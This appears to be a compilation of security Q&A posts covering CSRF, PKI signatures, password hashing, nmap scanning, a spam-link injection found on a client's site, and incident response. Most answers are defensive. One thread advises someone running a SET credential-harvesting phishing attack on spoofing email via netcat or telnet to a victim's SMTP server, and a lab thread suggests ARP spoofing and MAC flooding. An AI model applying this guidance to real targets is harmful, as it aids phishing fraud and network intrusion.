Is it possible to successfully exploit a vulnerability on a router remotely if ...its remote administration feature is locked down to a single IP/Range? If so, why?

This has been an ongoing office debate for a while now, I claim that it would be possible as it is likely to be the internal web server and the technologies it uses (cgi etc.) that will handle that remote authentication, but I have many people saying that it wouldn't be possible to execute a remote shell because it's locked down by IP. Who is right?

The answer is "it depends".

"is locked down to a single IP/Range" -- the first question is how is that enforced.  Assuming the whitelist is enforced by the device itself, there's code on your device that takes data off of the wire and decodes them into packets.  Code almost always comes with the potential for vulnerabilities.

If the layer that examines the packets and does the enforcement is what's vulnerable then the router is vulnerable.  If the IP-block layer is sound and it fronts the vulnerable component then you're okay.

It's also possible that the vulnerability is in a component that's not part of the remote admin stuff and not protected by the IP whitelist.

There's also a chance that someone could bounce an attack off of one of your internal hosts via XSS or a compromised host and circumvent your protection by coming from a host on the whitelist.


XSS attack evidence? We have a client that does business with this company and recently we noticed our Barracuda blocking their e-mails based on Intent Analysis. Further investigation showed that it was because of a URL embedded on their home page. (Their home page is linked in their signature.) I couldn't find the URL anywhere on the site, so I inspected the HTML code. This is what I found.

Here's what I gathered with the limited knowledge I have on Javascript and HTML.

This code was appended to the end of the html file.
It's not google ads, it's a static hyperlink.
There is JavaScript calling the HTML element by gluing together a string along with a little addition. Red flag.
The JavaScript is telling it to be hidden from the client by gluing "no"+"ne" together.  Red flag.

To me, this looks like a persistent XSS attack. Maybe a ploy to generate Ad Revenue? I'm thinking the string fun is to avoid pattern detection.

I sent it to their IT department. (Not sure if they will be able to fix this.)

Any insights on this?

EDIT: Found some more scripting at the beginning of the file. This actually changed the title of the domain in search engines.

The first bit of code shows a spam link and then some JS to conceal it, so it will give the spam site a SEO boost while remaining invisible to the admin (as far as I know search engines still don't interpret JS, so to their eyes this link is always visible).

The second link completely redirects the user to a spam website in the event that they are coming from a search engine, based on their referer. An user reaching the page directly (like the admin) will not get redirected and won't notice this. They seem to be targeting the Japanese versions of those search engines which gives a clue as to where the malware originated from (or who paid for those spam links to be placed there).

I would bet good money they are using an awful CMS and got compromised. Simple as that.


GET and POST request vulnerable to CSRF attack? Are both GET and POST request vulnerable to CSRF?
Should we use PUT instead?

Yes, both GET and POST are vulnerable to CSRF.
However, RFC 7231 states

the GET and HEAD methods SHOULD NOT have the significance of taking
an action other than retrieval. These methods ought to be considered
"safe".

Therefore, if a website has kept to the standard and only implements "unsafe" actions as POSTs, then here only POST requests are vulnerable. However, many websites don't do this for all of their "unsafe" actions - for example, logout functionality is often overlooked (although this is usually considered very low risk).
Although PUT is safe without CORS, it isn't the correct method to use in most cases. PUT is idempotent, therefore the request can be replayed without consequence, whereas POST is not. Not that any browser will arbitrarily retry PUT requests, but it might be an issue if some JavaScript does it on an event expecting no further state changes, for example. If you're implementing CSRF protection, a good method for protecting XHR requests is to add a header such as X-Requested-With to your requests and then validate this header server side. You could combine this with a random value that is checked server side to add further protection in the case of browser plugins like Flash containing vulnerabilities that accidentally allow the header. See this answer and this one.


Public key system confusion I read the following about PKI:

  Using a public key system, a user may encrypt a portion of a document
  using his or her private key. This message will later be decrypted by
  the recipient using the sender’s public key. Assuming that the
  sender’s private key is secure, the recipient can assume basic
  authenticity of the encrypted portion of the document in that only the
  sender holds the private key used to encrypt the message. Thus, the
  encrypted portion of the message is said to have been “digitally
  signed” by the sender.

I have a few questions about the following line:

  This message will later be decrypted by the recipient using the
  sender’s public key

Let's say I have the sender's public key. And let's say I have "satan's" public key also (which does not belong to the original sender).

I thought that the private key is used for signing and deciphering/decrypting, so why does it say that
"a user may encrypt a portion of a document using his or her private key"?
If I try to decrypt with the sender's public key (as written above), how do I know that the message hasn't been altered? And how do I know that the decryption has succeeded?
What will be the result if I try to decrypt the message using "satan's" public key?

No data ?
Error indicating  incorrect key?
Gibberish data?

Your text is just very badly written. No wonder you got confused.

1)

  a user may encrypt a portion of a document using his or her private key.

Sounds like a badly written description of RSA signing. With RSA signing you essentially encrypt a hash of the message with your private key.

2) You use the senders public key to verify the signature. And since the signature contains a hash of the whole document, you know it hasn't been tampered with.

3) Is a bit unclear. If you decrypt with plain, unpadded RSA, it will succeed for most blocks, and give gibberish. When using padding you'll get a padding failure. But since this is a nonsensical operation, you don't need to think about that.

The way messages are encrypted in a public key system is:

Sign the hash of the message with your private key
Generate a random symmetric key, and encrypt the message(and potentially the signature) with it.
Encrypt the symmetric key with the receivers public key and combine it with the ciphertext.

Encrypting the key with the receiver's public key, means that only the owner of the associated private key can decrypt the symmetric key, and thus the message.

Signing the whole message with your private key, means that the receiver verifies that the signature matches the sender's public key, and that the hash embedded in the signature matches the document. Thus he can be sure that the whole message is unaltered, and was sent by the owner of the sender's private key.


What is the use case for antimalware manual scans? I am not able to understand what use is the manual antimalware scan? All antivirus software has a manual anti-malware scan. I understand if it's the first time someone installs it on their infected/unknown PC, the scan helps in detecting malware. But I can't understand in what situations are such scans useful when the antivirus software automatically protects machines in real-time?
Example: I purchase antivirus software and scan my PC for the first time with it, and no malware is found. The antivirus downloads updates automatically. In what scenario will I feel the need to manually "scan my PC for malware"? Can you give an example? If I ever needed to scan for malware, then why didn't the antivirus stop it in the first place? And if it couldn't identify and stop it in the first place, how can it be expected to identify the malware in the scan?

There are lots of reasons why you would want to manually trigger a full system scan.
No real-time scan is going to be perfect, and it can be easier to detect some malware when it is not running. So, if you suspect you might have malware, you can manually update the software and trigger a scan instead of waiting for the scheduled scan or hope it is picked up in a real-time scan.
You can also scan a portion of your system, like a directory or mounted storage media.


Using tor with SET to bypass firewall policy? I'm doing a credential harvesting attack using SET from backtrack. I want to sent a spoof email using an open relay server. However, any outbound connection for smtp is blocked by the firewall.

I want to know is it possible that using tor i can tunnel my traffic and go un-detected? If not possible with tor what others ways i can use to tunnel the traffic.

Whether or not you can send email with TOR depends on the exit policy of whatever exit node you end up using.  Almost invariably outgoing TCP 25 is blocked by tor exit nodes because of spammers.

More importantly,  most email providers are using the Sender Policy Framework which can be used to detect forged email.  Welcome to 2012 where most stupid hacks are prevented by simple security systems.

There is nothing magical about sending spoofed email,  and you can do it with telnet or netcat,  you just need to be able to access your victim's SMTP server on port 25 and deliver the forged email directly.  You should be able to find a socks proxy server that can do this.


Nmap from Kali Linux and from Amazon EC2 instance - vastly differing results I'm running a basic scan using nmap from

1) a VM of Kali Linux running on personal machine

2) an instance of Amazon Linux, running on Amazon's EC2 cloud

These two runs (against any target) are producing vastly different results, with the personal Kali run always producing much more and more detailed results (more IPs found, more ports in each IP). Does anyone have any explanation for this? I think that something in the cloud setup is affecting the scan. I have also tried running scan from Kali in cloud and nothing changed, so it isn't Kali vs non-Kali that is affecting results. My security group for my EC2 instance is configured to allow all inbound and outbound traffic. My instance is running on VPC, not classic, and I don't know if possibly there is a NAT or something intercepting the traffic but I don't think so. Also, I have received permission from Amazon and all targets of my scans to conduct this testing. Any input is appreciated. Thanks

EDIT: Here is verbose output from 1) Kali scan and 2) EC2 scan

There are a number of differences between your EC2 scan and your Kali scan:

Most significantly, your Kali scan is performing a SYN scan (start to open a connection, listen for an "ACK" packet, then abandon it), while your EC2 scan is performing a Connect scan (fully open a TCP connection, then shut it down cleanly).  Try a Kali scan in Connect mode (nmap -sT) to see if the results change.
Your EC2 scan is using version 5.51 while your Kali scan is using version 6.47.  This shouldn't make a difference for a simple "open ports" scan, but the older version won't have the same software and OS version detection that the newer one does.
Your Kali scan shows dropped probes, meaning there's traffic congestion or a firewall between you and scanme.nmap.org.  This shouldn't be causing false "open" results, though it can cause false "filtered" results.

My suspicion is that something is going wrong with your Kali scans, since my results for scanme.nmap.org are identical to your EC2 results.


Why would a corporation NOT want to allow users on a corporate network to RDP to their specific desktops? I have a multitude of users that are requesting the ability to RDP from other workstations, on the same network, to their specific desktop computers.  I would like to know what the risks of this are and reasons why this should not be granted.

Without knowing more about your company's network layout, business model, physical access restrictions, etc... it is hard to give more than general guidance.

RDP has been known to have remote execution vulnerabilities. RDP can also facilitate password attacks. So you can't look at running RDP as risk-free. It is not unheard of for companies to restrict RDP access (see this question and its answer). That said, many companies also allow or even encourage the use of RDP.

The risk of the situation increases quickly if you are allowing users to RDP from non-secured, non-corporate machines. Say there is a BYOD policy or users are VPNing from outside of the company. The problem there is that you can't really trust that the RDP client is secure. But it sounds like they are trying to RDP from other corporate machines in your case.


Javascript videoplayer attack vectors My team is building a Javascript-based video player for our own platform, instead of relying on other already available options like video.js.

I'm wondering which attack vectors should I take into consideration, bearing in mind that we are not hosting any website, we just deploy the Javascript code to our customers and they are the ones who host the code in their website.

In other words, the workflow is more or less like: a client connect to our customer's site for playing a video, our customer downloads from our server the latest version of the player, our customer display the video in his site.

So we don't have any input, so I guess XSS wouldn't be possible (I may be wrong though). What other attacks, should I take into consideration?

DOM-based XSS is something you want to look out for.

You might have code in your video player that reads out part of the URL - for example to get the id of the currently playing video or some video settings such as width - and inserts it into the DOM, leading to XSS.

Other than that, there isn't much that you can do wrong. Your Video player server only serves a static file, so if the server software itself is up-to-date, there shouldn't be any danger to it. Your script will also not be able to do any damage to Website, as that server should of course validate any user input it gets.


Should employees confront people without access cards? At my place of employment we have recently been discussing our access card policy. We have different access cards for guests and employees, and anyone not wearing an access card is assumed to be an enemy combatant.

What we are struggling with is what we shall tell the employees to do when they find someone without a (visible) access card inside our company's premises. As I see it there are three alternatives of things to tell them:

Challenge the stranger about the lack of access card (and escort them to the reception).
Do not challenge them, but report them to the reception.
Do nothing.

Are there any studies, best practices, guidelines or similar that offer any advice on which scenario is the optimal one to teach the employees? I'm assuming that #1 is the theoretically optimal one since it takes immediate action and prevents potential further damage, but that it is also the most difficult one to implement since making people confront strangers is difficult to train, and offer a lot of risk for little reward.

Not sure if there are any best practices, but here are some tips.

First of all, your top level managers should always be wearing one, and if not, accept to be confronted by their staff. They should actively encourage people to do so.
When you find someone unknown in the building without access card, ask them politely that they seem lost and you want to help. Then ask who they are with and escort them to your colleague. Then also inform your colleague about getting a visitor badge for their guest.
When you find someone known (as in a colleague), say they need to wear their badges. If they refuse, inform his or her manager about the situation. And again, management should encourage the wearing of the badges.
Sounds lame, but make wearing one part of the ongoing HR-process for KPI and performance of employees.

But start with the people first. What culture is your company? Is it open and transparent, or is it more hierarchical or more like a flat company in which people organize themselves? And then start from there on.


The Peer-To-Peer Web Good Morning Guys, I'm currently looking into the Project Maelstorm (BitTorrent Peer-To-Peer Web Browser Project), and a question popped up in mind.

When on a P2P network, users share the file which originated from a single source, once the first user has downloaded the source, a hash check can be used to assure the file being transmitted by that user is not a modified one (With more users, this also blocks MITM attacks, because you can compare a big amount of hashes and see if they match before trusting anyone).

Now comes my question(s):

1: What about server-side scripts? For instance, let's say I have a website with a login page, how would my login-password info be checked? If that required a main server, we are no longer on a peer-to-peer web, if the database files were also transferred with the main website structure, wouldn't that be:

A: Insecure? Passwords can be hashed, but what about personal information? (Which is needed on the website, for instance, your address on facebook?).
B: Slow? Since a database can get constant updates (Let's think about 1.5k users updating their profiles constantly), that would need constant file hash re-check, consuming a lot of data on both ends.

2: DDoSes and Takedowns would be sent against what? The essence of P2P is to block both of these, if there was still a server-client way for data transferring, wouldn't that be easy for somone  to DDOS the database server? And for govnt/isps to send takedown notices to database server hosts?

Thank you and have a good day. - Fabricio20

I've given a lot of thought to this area over the past couple of years, and the simplest answer to both of your questions is that a wholly peer-to-peer web would introduce new ways of handling those processes which would traditionally reside on a server. Peer-to-peer websites would most likely not be served with the data inline. Sort of like Meteor, you would probably work with one version of the static website files, and those files would include scripts that run on the client side to populate the page with data and send commands/requests to an external "server" as needed. In a peer-to-peer web, the server would be more like an entire public network of users.

Think about a website like Facebook. What do you achieve by logging in and holding a session? Firstly, you gain access to all the private information that you are authorized to see. Traditionally, your session cookie is all the authentication needed in a request to access private data.

But in a true peer-to-peer infrastructure, who holds this private data to begin with? Well, it should be other peers like you. Even if you can prove your identity to a peer, they shouldn't be handling any of your private data in plaintext. Thus, encryption should be a huge part of any secure peer-to-peer web. When data is encrypted properly and keys are handled with care, proof of identity is less essential: if you can decrypt the data, you are implicitly authorized to access it.

Back to the Facebook example, sharing private information could be done by transmitting the decryption key to contacts whom you wish to authorize. The closest measure to revoking access would then be to either remove the data altogether, or re-encrypt and transmit a new key to all remaining contacts who are authorized. To encrypt data for a particular contact, the peer-to-peer network would probably utilize public-key cryptography: pull the public key of a contact, then use it to encrypt any private transmissions. With thoughtful crypto, the messages could be stored in a peer-to-peer network without any concern about tampering or eavesdropping.

Of course, authentication goes beyond access rights. On the real and traditional Facebook, your valid session enables you to act under your own identity: if you post something on your wall, any other user will implicitly trust that it was your doing. You can replicate this sort of thing, and with considerably greater certainty, using digital signatures for message authentication on the fly. The process of authenticating any information on the site as valid would occur on the client side, and no unsigned posts would be shown because there would be no valid information about the author.

Because information would move about the network indiscriminately, any distributed file sharing system should make for a fine foundation on which to implement an infrastructure like this. Denial of service should, in theory, be a tall order. There are a lot of pros and cons to governing privacy with cryptography alone, but it is far more true to life at the end of the day. There would be no one to subpoena for relinquishment or cessation except the users themselves (might be anonymous), and it comes with more integrity at every corner.


How to bypass Certificate Authority for Local site? We made a site which will be used only in local (is not publicity available). It supports https with self signed cert and key. Now, if I use the site - it says 'your connection to this site is not secure'. I know we need to buy certification from trusted CA. As site will be used only locally, is there any way to bypass this?

You have to import the Root-CA which was used to sign the self signed Certificate into your trusted certificate store.
It depends on your OS how to do this


Is it OK to hash sensitive data, given hashes provide no confidentiality? Confidentiality is the property of a message whereby no one but the person who knows a secret (let's calle it K) can read the message.
Hashes do not provide confidentiality (data is destroyed, you can't recover it)

Following these definitions, is it OK to hash sensitive data (eg: passwords) and store it in a database? I already know using SHA256 (or any other non-specialised hash) is dangerous, because brute forcing is relatively easy. Let's say we are using Argon2.
The question now becomes: is it OK to assume the hashed data remains private when using the correct hashing algorithm? If so, what's the name of the property that provides this safety? Is it non-reversibility? SHA256 also provides non-reversibility, but is easy to bruteforce. Is there a name for this property?

is it OK to assume the hashed data remains private when using the correct hashing algorithm?

It depends. It is easy to derive the hash from the data. So if there is only a limited number of options in the data it is easy to try all to find out which data item a specific hash means.
Even if there is a huge number of possible options but most of these highly unlikely the privacy can be broken in many cases by simply trying the more probable options. That's also the idea behind effective password brute-forcing: try the most commonly used passwords and their variations first.

If so, what's the name of the property that provides this safety?

The relevant properties which makes brute forcing hard are the slow performance and the choice of salts. Proper use of salts makes it impossible to precompute the hash of many inputs. Slow performance then makes it impossible to simply try each input.

SHA256 also provides non-reversibility, but is easy to bruteforce. Is there a name for this property?

Performance. SHA-256 is simply very fast and that's why it is possible to try lots of inputs in a short time.


If signature based AV software is becoming obsolete, what is the home user to do? Assuming one is a worried home user who keeps certain sensitive files, works on personal projects, and generally wants to ensure the integrity of their single system (to keep it simple), what's a user to do? Signature based AV software is being spoken of as quickly becoming obsolete, where does this leave the average, or even power home-user?

Since you can never be 100% sure you haven't been compromised, you need to practice defense-in-depth and just aim for as close to 100% as is practical.

AV software is becoming obsolete, but it isn't there yet.  Keep it around, keep it updated, and run it often.
You already know which files are your most sensitive.  Back them up often, and keep a copy off-site, so that if they are lost (i.e. from having to wipe your system), you can get them back.
If you're flexible about the single-system thing, have a machine that never connects directly to the internet.  Carefully mediate what files move across from your offline machine to the one you use to browse.  You can't call it an air-gap, but it's close.
Disposable virtual machines are your friend.

Defense-in-depth means that if one of your countermeasures fails, another will step in to stop the threat.  The more you have, and the more they compliment each other, the safer you'll be.  Just not 100% safe.


Data encryption risk with bad sectors? A few decades ago, I've known hard disks and floppy disks which developed bad sectors or crashed. So now when I want to use an external hard disk for backups for a startup company, the first thing that worries me is that if I do a full disk encryption and the disk develops a single bad sector in due time, won't all data be lost?

Is it really better to do full disk encryption or store separate projects in encrypted Truecrypt containers? If there is any better way of doing it, please do mention it.

This depends on the type of encryption you are using and possibly how it is configured.  You are correct that certain types of stream cipher require all previous data to continue to decrypt, due to the encryption operation modifying the key stream, however not all encryption works in this mode.

In particular, for file system level encryption, it is obviously not viable to have to sequentially decrypt the entire drive as one giant stream in order to access any particular file.  The exact mechanism of encryption can vary, but can be anything from stream ciphers of individual files (which might still cause performance issues with larger files that need random access) or simply applying sector or cluster level encryption that limits the amount that needs to be decrypted to a minimal data retrieval from the drive.

There is always a trade off in the security and uniqueness of the keystream vs the speed of access, just like there are trade offs in different cipher modes, but full disk encryption is not inherently tied to a single bad sector causing a complete loss of data.  The exact amount of data loss would depend on the type of encryption being used.

The same applies to your scenario with smaller containers being used on the drive as files.  Depending on the mode of those containers, it could either require sequential decryption of the whole thing (which would mean a single sector used in the file dying could wipe it out) or it could be done at a file level where only the involved files would be lost.  The container could also potentially work in a level of redundancy to avoid this, though I'm not sure if any encrypted containers currently implement a feature like this.


Is Firefox nightly good for security and privacy? Is Firefox Nightly a good browser to use for security and privacy reasons? Because new security and crypto technologies are implemented faster in FF Nightly, but what about 0 Day security issues? Should I switch from stable to nightly?

IMO, it's a trade-off only you can assess. As you said, it's probable that Nightly is ahead of stable regarding new security-related technologies. However, those new features are not as tested as the features in stable, so actually they might cause more harm than benefit.

Would you risk a stable browser for a less-tested more error-prone browser just to use the latest technologies? It's up to you.


Will reporting phishing emails cause problems for the victim? On GMail, I've received a phishing email from someone I know, and the email has been sent to other people the victim knows. One of the emails is claiming to be from their GMail address, while the other is claiming to be from zendesk, mentioning a github project the user owns.

I'm thinking of reporting it, but I'm worried that the owner of the hijacked email account will be treated as a phisherman, rather than an non-malicious user.

GMail has a help page on phishing, but it doesn't address my concern.

If I report the email as phishing, will this cause problems for the owner of the hijacked email account?

There's a question about this on the webapps stack exchange, but it didn't receive a lot of attention, and users there may not know as much about security, and incident responses, as users here.

If you report it, Google actually are pretty good at figuring out issues and if it is in their control, they can take some action, however what may happen is that the individual may get blocked from communicating...which helps solve the issue of phishing emails being sent. This can be sorted out though, so do not let it put you off reporting.

Conversely - if you do not report it, what will happen? The phishing will continue and some individuals may be scammed.

Best bet - talk to this person, they may be entirely unaware, so informing them can allow them to do something about it. If they don't take action, or the problem isn't at their machine/account etc then think about escalating.


Should sensitive data ever be passed in the query string? Should sensitive data ever be passed via the query string as opposed to the POST request?   I realize that the query string will be encrypted, but are there other reasons to avoid passing data in the query string, such as shoulder surfing?

If the query string is the target of a user-clickable link (as opposed to a URL used from some Javascript), then it will appear in the URL bar of the browser when the corresponding page is loaded. It has the following issues:

The URL will be displayed. Shoulder surfers may see it and learn things from that (e.g. a password).
The user may bookmark it. This can be a feature; but it also means that the data gets written on the disk.
Similarly, the URL will make it to the "history" so it will be written to disk anyway; and it might be retrieved afterwards. For instance, if the browser is Chrome, then a lunch-time attacker just has to type Ctrl+H to open the "history tab" and obtain all the query strings.
If page is printed, the URL will be printed, including any sensitive information.
URLs including query strings are also frequently logged on the web server, and those logs may not be secured appropriately.
There are size limitations on the query string, which depend on the browser and the server (there is nothing really standard here, but expect trouble beyond about 4 kB).

Therefore, if the query string is a simple link target in an HTML page, then sensitive data should be transmitted as part of a POST form, not encoded in the URL itself. With programmatic downloads (the AJAX way), this is much less of an issue.


Kali Linux + How to find information behind NAT I am working on an assignment where we are supposed to attack a private network simulated by a virtual machine provided to us using Kali. My Kali VM and the target network are on a 'host-only' private network in virtual box.

I scan the network using nmap and there is only a single other IP active so this leads me to the conclusion that the private netwwork is behind a router using NAT. Our task is:

"Using network scanners, extract the topology information of the company's private network. Identify available hosts, and for each host, find the IP address, Operating System, running services and open ports. Ensure that you specify the exact versions."

From what I can guess I am required to scan through the NAT to find details on the internal network but I can't seem to grasp how to do that.

The access point of the network has the following services available.

Edit

To elaborate.The VM is supposed to emulate a companies private network. Its up and running and I can see the above services using nmap. I do know that I can use the browser to go to the IP of it (192.168.56.2) which displays a website (I'm guessing via one of the available apache services). I can browse around the website and gain information on employees and their positions in the company so I have been running brute force attacks on the SSH and FTP service based off of usernames I have guessed and put into a list. I have run Ncrack and hydra on both my generated username list and generic ones for days with no results on SSH and FTP. The website gave me some email accounts as well but running Hydra on SMTP gives my a 'Auth not activated' so I'm guessing that's not possible. I'm still running more permutations of usernames via NCrack and hydra to gain access but I'm not having any luck.

Edit 2
For additional info I did a nessus scan. Here is the link to the report.

I can not say how exactly you can solve you're problem.  But to collect information with kali, you can use 2 Types of tools scanner and sniffer. Until now it seems you only used Nmap(scanner)

Here a list of other tools.

Portscanner & Co.

Nmap(most common)
Lanspy
Essentiel NetTools
Winfingerprint
Xprobe2
p0f

Sniffer

dsniff-Suite(dsniff,mailsnarf,urlsnarf,arpspoof)
PHoss
Driftnet
Ettercap
tcpdump
Wireshark(most common)

I would give you the advice to use Wiresahrk or the dsniff-suite. Both of them are very powerful. The Difficulty is to filter the information , that you get only usefull information.

Look for steer-codes and headers

If normal methods are not working try:

ARP-Spoofing
MAC-flooding.


Sha256 hash + secret GUID + RNGCrypto random number to hash passwords I'm maintaining a website which uses Sha256 hashing of passwords.

The passwords are hashed with a GUID key, and a RNGCrypto generated random salt.

I'm just trying to understand the security risks associated with this scheme.

If an attacker is able to obtain just the hashed passwords, is there any way for them to be brute forced, or would they need to be also access the secret GUID on the server?

Should I recommend to my client that we change to slower hashing scheme?

If the Sha256 is used with only 1 iteration, then you should recommend to switch to a dedicated password-hash function in any case, BCrypt, SCrypt, Argon2 and PBKDF2 are good choices.

The problem with using SHA-* is its fastness, common hardware can brute-force about 3 Giga SHA-256 per second. Salting and peppering (the GUID) are good measures, but they protect form different threats.

You are right with the assumtion that an attacker needs the GUID from the server, but it depends on the attack, whether this GUID stays secret. On should plan for the case, that all necessary information is known, and then the slowness of the hash function is the only protection left.


Fortify and third-party libraries I am trying to understand in the new version of Fortify SCA 17.10, why the scan defaults to excluding third-party libraries? I found this article and it seems any open source library you use, it would be in your best interest to get these issues fixed by poll request.  I noticed some of the findings I get from a Fortify scan are typically false positives, is this why now Fortify excludes third-party libraries?  Is there a legitimate reason for this?

So, I don't know why they did this, but knowing developers and their attitude towards third party software here's my speculation:

Developers tend not care about the whole system, they want to know about the bugs in the code they wrote.
Scanning third party code takes time.  Why take time to discover things that the average developer doesn't care about?

Should developers care about the total product's security?  Of course.  But the typical developer isn't evaluated on that, (s)he is evaluated on the code they produce.


OpenSSL updating ciphers suites For PCI compliance I was required to protect our server against BEAST attacks. While I have correctly configured the apache / openssl settings to pass a scan, these settings have effectively limited the client browsers that can securely transact on the sites https side.

We are using Cenots 6.5 Final,  OpenSSL 1.0.1e-fips 11 Feb 2013

I cannot find any information on how to update or add either specific or all ciphers to OpenSSL.

Are cipher suites distributed within the OpenSSL program OR are ciphers suites add-ons?, if they are add-ons how do you update them?

A fully updated system will still have insecure or weak cipher-suites enabled.  You can run a tool such as TestSSLServer, written by Tomas Pornin which will give you a list of cipher suites that are vulnerable to BEAST and CRIME.

After you have identified the specific set of insecure cipher suites that affect your system,  you can disable them in Apache's SSL configuration.


How to check if a third party jar(JRecord) has any security issues We are in the process of using a third party jar which is not available in Maven Repo. It needs to be manually downloaded for usage.

Is there any tool or way to find if the JAR has security issues?

http://jrecord.sourceforge.net/JRecord04.html is the website from which we downloaded the jars and sources codes also available as this is the open source project.

Please give some insights about it.

If its open source you can download the source and review it yourselves. You should then use the self-built version to ensure the binary supplied online is not malicious.

Beyond that and googling for known issues with the package there isn't anything much you can do.

*What review process do you have to ensure libraries pulled via Maven are secure? And how does this differ?


Prevent password reusing across different sites I'm generally against too strict or complex rules to accept passwords (rules like "It must contain at least one upper-case character, one number and one symbol" and things like that, see also XKCD #936: Short complex password, or long dictionary passphrase?). Usually I prefer calculate a strengthness metric (based on special characters included and length) and if it's above a give threshold then I accept the password, no matters if it's strong because it's a 32 characters plain lower-case text or because it's 10 characters but it also contains digits in Chinese characters).

I like this approach because it's easy for end-users and, assuming well-educated users will choose passphrases, I tend to consider their passwords reasonably secure.

However:

Users may wrongly use incredibly common sentences (my name is adriano or things like that). As soon as good statistics will be available (maybe they're even available now but I'm just not aware) an attacker who gained list of hashed passwords may use those statistics to guess passphrases.
I can't be sure about other sites security and I'd like to prevent users to reuse same password for every site they have a registration.

I thought to ask them to include a given random word in their password, something like: Type your password, be sure to include word "honey" in it. Is it reasonable? AFAIK it shouldn't weak hashing with repetitive word/pattern because word is chosen randomly from a big enough (and language specific) dictionary.

Yes they may simply append required word to existing text (for example "my name is adriano, honey") but from cracker point of view it shouldn't matter because word is random and eventually extra separators will also improve security.

Type your password, be sure to include word "honey" in it. Is it reasonable?

No, it's not.

Random password generators might not support the addition of a specific word.
It's harder to remember for users who don't use password managers.
It encourages users to choose a shorter password than they could have used without the condition, just because they want to remember it easily.


Impact analysis of CVE-2016-1000341 affecting BouncyCastle I am analyzing the impact of CVE-2016-1000341 having CVSS score 7.5 and description "DSA signature generation vulnerable to timing attack. Where timings can be closely observed for the generation of signatures, the lack of blinding in 1.55 or earlier, may allow an attacker to gain information about the signatures k value and ultimately the private value as well.". It is acknowledged by BouncyCastle here: https://www.bouncycastle.org/releasenotes.html.

I am confused by the line: "DSA signature generation vulnerable to timing attack". While I understand what is timing attack, I am confused by the clause "DSA signature generation". What is the precise meaning of this term? Which of the following two or something else is true?

If an application is digitally signing and verifying data with the BouncyCastle library using public/private key, is it vulnerable due to this vulnerability?
OR
Does "DSA signature generation" mean generating private and public key that are used in digital signature validation?

Any guidance here would be greatly appreciated!

Kind regards,
Shashi

TLDR: 1a.

DSA signature generation is generating a signature (for data). As you quoted

  ... gain information about the signatures [sic - should have an apostrophe] k value and ultimately the private value as well.

k is a value that is chosen randomly for each signature and is not part of the key, so it could not be part of key generation (or parameter generation which in DSA is often conflated, including in Java/JCE/BC). In order for there to be a k value at risk, the operation must be signature generation.

Verifying a signature, called signature verification, is not affected because it does not use the privatekey which is the target of sidechannel attacks including timing.


nmap --top-ports range selection I'm trying to find out if it is possible to select a range from within the --top-ports when scanning with nmap. I'm performing scans which are progressive in nature, for example, scanning the top 100, then 1000 then 3647 TCP ports. However as the 2nd and 3rd scans are performed they repeat the scan on the previous top ports which were selected, therefore increasing the overall time of the scan performing a redundant scan.

My question, is there a way to select a range from within the --top-ports list for example:

--top-ports 1-100
--top-ports 101-1000
--top-ports 1001-3647

Therefore stopping the ports from being scanned twice?

No, there is not.

You can find out the top ports from /usr/share/nmap/nmap-services then use the -p switch to slice and dice as many chunks you see fit.


Is it possible to calculate an encryption key when both the plain text and ciphertext are known? I have implemented an authentication system which works like this:

Upon successful login, the server takes the username of client and encrypts it with AES-256.

This ciphertext is stored in the client's browser and when the client wants to do something which requires login, this ciphertext is sent to the server. The server decrypts the ciphertext and obtains the username of the client who is logged in.

An attacker cannot breach a client's account because he/she doesn't know the encryption key, so it doesn't matter if the attacker knows the username. However, I'm worried if client's browser is exposed, the attacker will access both the ciphertext and plain text (username). Does this allow the attacker to "calculate" the encryption key given that both the ciphertext and plaintext are known? Because that key is used for all clients, so if it's exposed the entire system is ruined.

In answer to your main question, AES256 is secure as far as we know into the foreseeable future.  However your authentication scheme has several drawbacks.
First, if any request where the token is sent is compromised, or if a the user installs a malicious addon that can grab the encrypted user name from their browser, that account is forever unusable.  You are essentially creating a token to use for authentication that cannot ever be changed and that is a 1:1 relationship with the user name.  The only way to deny access if it is compromised is to shut down the account and force the user to create a new account with a different username.
A much better way would be to generate a random token when the user authenticates and store that in the database, or generate a random value and encrypt that as the token.  Then if the account is compromised or if the user wishes to 'log out', you can remove that token and generate a new one.
If your encryption key is ever compromised or if it is ever cracked somehow, the attacker can do anything as any user in your system.  With a random token based approach, they would have to know the random part used to generate the token for each user.  The attacker would have to have access to your database and your encryption key.


One computer on our network was hacked and stole hundreds of accounts on different websites - what are correct steps to take? Someone in our company long time ago downloaded infected Windows Server copy from torrent site and kept it as test server in our network till now. Recently, our administrator noticed huge outgoing traffic from that computer, started digging and found that infected system contained OS user  which was present in original OS installation which basically installed about 5 GBs of brute-forcing apps and collected (not very impressive) some amount of stolen credentials including:

Stolen accounts of not very popular sites like bluebella.com (lingerie site) and some money-related sites. Some of these accounts are apparently tied to credit-cards with minimal amounts of money
Stolen RDP credentials of users at different IP addresses
Other stolen credentials on different IP:ports (mostly easy to guess passwords like root_user:pwd123456 etc)

So this all looks like our computer was part of botnet. However, the hacker was doing this in a quite manual way, because txt files with credentials and images are named in a not-automated way.

My question is: Besides reinstalling OS and checking a lot of other security things, what are correct actions regarding stolen accounts? Should we try to contact websites with hacked accounts and/or users with hacked computer? Are there any efficient ways of doing this without spending time of our admins and digging through hundreds of websites/accounts?

The best thing is to create a forensic image of the compromised system, note down the hash and store it securely for future reference if any government agency trace you back to the illegal activity.

Informing the website owners wouldn't be of much use as small service providers hardly care about security breach unless their website is defaced. However it is worth a try.

You should also consult your legal department and decide whether or not to disclose the incident to law enforcement.


Is the sha1 deprecation a problem for **client** certificates? For my web application, users connect to a web server in HTTPS and need to have a client certificate installed on their computer/browser.

I understand that the sha1 deprecation is important for server certificates to prevent potential message decryption.

Is there the same problem for client certificates ? Is it safe to use sha1-signed client certificates ?

I understand that the sha1 deprecation is important for server certificates to prevent potential message decryption.

The real problem is that a weak signature algorithm allows the creating of a new certificate with a valid signature by a trusted CA without having this CA involved in this. And this new certificate can then be used to impersonate an existing site, for example during a man in the middle attack.

The same impersonation is possible with client certificates. While this does not lead to a man in the middle attack it might lead to identity theft and unauthorized access in case the client certificate is used to authenticate the user.


How can I prove that I adhere to stated privacy policy? What audits are effective for voluntary compliance? I have a website and mobile app that doesn't store data or PII.

Suppose I'm not subject to any special privacy laws. How can I voluntarily submit myself to an audit to ensure that I'm acting true to my word?

What regulations are recognized by businesses (and consumers?)in the US and UK/EU?

In the European Union you have the GDPR (General Data Protection Regulation) that will be enforced on May 25th, 2018 for all member states (that includes United Kingdom).
Until now there has been a general framework that each member state would implement locally but that has led to different interpretations. This regulation will set the same terms for everyone (and very much welcome).

